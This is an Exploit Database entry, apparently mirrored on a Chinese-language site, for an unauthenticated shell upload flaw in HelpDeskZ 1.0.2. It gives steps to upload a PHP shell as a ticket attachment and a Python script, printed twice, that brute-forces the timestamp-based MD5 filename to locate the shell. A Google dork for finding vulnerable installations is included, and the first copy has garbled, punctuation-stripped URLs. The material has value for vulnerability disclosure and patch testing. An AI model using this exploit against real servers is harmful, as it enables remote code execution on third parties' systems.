HelpDeskZ 1.0.2 – Arbitrary File Upload

• Exploit Database
• 15 阅读

• 作者： Lars Morgenroth
  日期： 2016-08-29
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40300/

• '''
  #
  # Updated Exploit Provided by Drew Griess
  #
  # Exploit Title HelpDeskZ = v1.0.2 - Unauthenticated Shell Upload
  # Google Dork intextHelp Desk Software by HelpDeskZ
  # Date 2016-08-26
  # Exploit Author Lars Morgenroth - @krankoPwnz
  # Vendor Homepage httpwww.helpdeskz.com
  # Software Link httpsgithub.comevolutionscriptHelpDeskZ-1.0archivemaster.zip
  # Version = v1.0.2
  # Tested on
  # CVE
  
  HelpDeskZ = v1.0.2 suffers from an unauthenticated shell upload vulnerability.
  
  The software in the default configuration allows upload for .php-Files ( !! ). I think the developers thought it was no risk, because the filenames get obfuscated when they are uploaded. However, there is a weakness in the rename function of the uploaded file
  
  controllers httpsgithub.comevolutionscriptHelpDeskZ-1.0tree006662bb856e126a38f2bb76df44a2e4e3d37350controllerssubmit_ticket_controller.php - Line 141
  $filename = md5($_FILES['attachment']['name'].time())...$ext;
  
  So by guessing the time the file was uploaded, we can get RCE.
  
  Steps to reproduce
  
  httplocalhosthelpdeskzv=submit_ticket&action=displayForm
  
  Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.
  
  Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded
  
  exploit.py httplocalhosthelpdeskz phpshell.php
  '''
  import hashlib
  import time
  import sys
  import requests
  import datetime
  
  print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
  
  if len(sys.argv) < 3:
  print "Usage {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
  sys.exit(1)
  
  helpdeskzBaseUrl = sys.argv[1]
  fileName = sys.argv[2]
  
  
  r = requests.get(helpdeskzBaseUrl)
  
  #Gets the current time of the server to prevent timezone errors - DoctorEww
  currentTime = int((datetime.datetime.strptime(r.headers['date'], '%a, %d %b %Y %H:%M:%S %Z')- datetime.datetime(1970,1,1)).total_seconds())
  
  for x in range(0, 300):
  plaintext = fileName + str(currentTime - x)
  md5hash = hashlib.md5(plaintext).hexdigest()
  
  url = helpdeskzBaseUrl+md5hash+'.php'
  response = requests.head(url)
  if response.status_code == 200:
  print 'found!'
  print url
  sys.exit(0)
  
  print 'Sorry, I did not find anything'
  '''
  # Exploit Title: HelpDeskZ <= v1.0.2 - Unauthenticated Shell Upload
  # Google Dork: intext:"Help Desk Software by HelpDeskZ"
  # Date: 2016-08-26
  # Exploit Author: Lars Morgenroth - @krankoPwnz
  # Vendor Homepage: http://www.helpdeskz.com/
  # Software Link: https://github.com/evolutionscript/HelpDeskZ-1.0/archive/master.zip
  # Version: <= v1.0.2
  # Tested on:
  # CVE :
  
  HelpDeskZ <= v1.0.2 suffers from an unauthenticated shell upload vulnerability.
  
  The software in the default configuration allows upload for .php-Files ( ?!?! ). I think the developers thought it was no risk, because the filenames get "obfuscated" when they are uploaded. However, there is a weakness in the rename function of the uploaded file:
  
  /controllers <https://github.com/evolutionscript/HelpDeskZ-1.0/tree/006662bb856e126a38f2bb76df44a2e4e3d37350/controllers>/*submit_ticket_controller.php - Line 141*
  $filename = md5($_FILES['attachment']['name'].time()).".".$ext;
  
  So by guessing the time the file was uploaded, we can get RCE.
  
  Steps to reproduce:
  
  http://localhost/helpdeskz/?v=submit_ticket&action=displayForm
  
  Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.
  
  Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded:
  
  exploit.py http://localhost/helpdeskz/ phpshell.php
  
  import hashlib
  import time
  import sys
  import requests
  
  print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
  
  if len(sys.argv) < 3:
  print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
  sys.exit(1)
  
  helpdeskzBaseUrl = sys.argv[1]
  fileName = sys.argv[2]
  
  currentTime = int(time.time())
  
  for x in range(0, 300):
  plaintext = fileName + str(currentTime - x)
  md5hash = hashlib.md5(plaintext).hexdigest()
  
  url = helpdeskzBaseUrl+md5hash+'.php'
  response = requests.head(url)
  if response.status_code == 200:
  print "found!"
  print url
  sys.exit(0)
  
  print "Sorry, I did not find anything"
  '''